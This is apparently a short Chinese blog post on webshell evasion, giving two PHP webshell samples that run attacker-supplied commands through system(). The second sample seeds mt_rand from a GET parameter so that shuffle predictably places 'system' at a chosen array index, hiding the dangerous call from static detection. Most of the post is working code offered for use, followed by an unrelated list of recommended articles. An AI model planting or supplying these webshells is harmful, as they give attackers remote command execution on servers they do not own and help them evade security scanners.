记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
yuxb735 小时前
Docker学习笔记(二):镜像与容器管理
笔记·学习·docker
骥龙5 小时前
零信任架构:重塑现代企业安全基石
安全·架构
LFly_ice6 小时前
学习React-9-useSyncExternalStore
javascript·学习·react.js
gmmi6 小时前
嵌入式学习 51单片机(3)
单片机·学习·51单片机
wanhengidc7 小时前
云手机可以息屏挂手游吗?
运维·网络·安全·游戏·智能手机
码熔burning7 小时前
Spring Security 深度学习(六): RESTful API 安全与 JWT
安全·spring·restful·springsecurity
楼田莉子7 小时前
C++算法专题学习——分治
数据结构·c++·学习·算法·leetcode·排序算法
m0_738120728 小时前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
励志不掉头发的内向程序员9 小时前
C++进阶——继承 (1)
开发语言·c++·学习
Zacks_xdc9 小时前
【前端】使用Vercel部署前端项目,api转发到后端服务器
运维·服务器·前端·安全·react.js